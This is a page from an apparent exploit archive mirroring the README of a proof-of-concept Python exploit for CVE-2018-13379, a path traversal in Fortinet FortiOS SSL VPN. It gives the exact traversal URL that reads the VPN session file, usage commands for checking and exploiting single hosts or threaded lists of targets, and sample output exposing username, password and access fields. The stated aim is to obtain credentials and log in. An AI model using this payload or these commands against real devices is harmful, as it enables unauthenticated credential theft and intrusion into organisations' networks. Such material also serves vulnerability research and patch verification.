Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1325 CNY

100%

CVE-2018-13379 PoC — Fortinet FortiOS 路径遍历漏洞

Source
Associated Vulnerability
Title:Fortinet FortiOS 路径遍历漏洞 (CVE-2018-13379)
Description:An Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal") in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal allows an unauthenticated attacker to download system files via special crafted HTTP resource requests.
Description
An exploit for Fortinet CVE-2018-13379
Readme

# Fortinet FortiOS Exploit (CVE-2018-13379)

This Python script is a Proof-of-Concept (PoC) exploit for the Path Traversal vulnerability (CVE-2018-13379) in 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal, which allows an unauthenticated attacker to download system files via special crafted HTTP resource requests.
It downloads the session file, which contains valuable information, user and password which allows us to login.

## Prerequisites
Before running the script, make sure you have:
- Python 3.x installed on your system.
- And run `pip install -r requirements.txt` to make sure the depndecies are satisfied.

## Usage

### Basic Example (Command Injection)

This command executes the exploit which in turn checks to see if the provided host is vulnerable, and if so it downloads the session file:

```bash
python3 cve-2018-13379.py -i 192.168.0.1:10443
```

This command does the same thing, but gets a list of new line seperated IP addresses as input and checks all of them and exploits all vulnerable hosts.
you can also specify a number of threads (optional):

```bash
python3 cve-2018-13379.py -f targets.txt -n 10
```

### Example Output
When the exploit runs successfully, you should see output similar to this:

```bash
Checking 192.168.0.1:10443
[*] Web session at: https://192.168.0.1:10443/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
var fgt_lang = ....f.............................".=F.T......
..Fg..Fg..Fg.5.122.221.72........................USER.
........PASSWORD...........................................
...............X_SSLVPN.........................full-acces
s............................................................
.....root....................................................
...U.........................................................
```

### License

This project is licensed under the MIT License.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →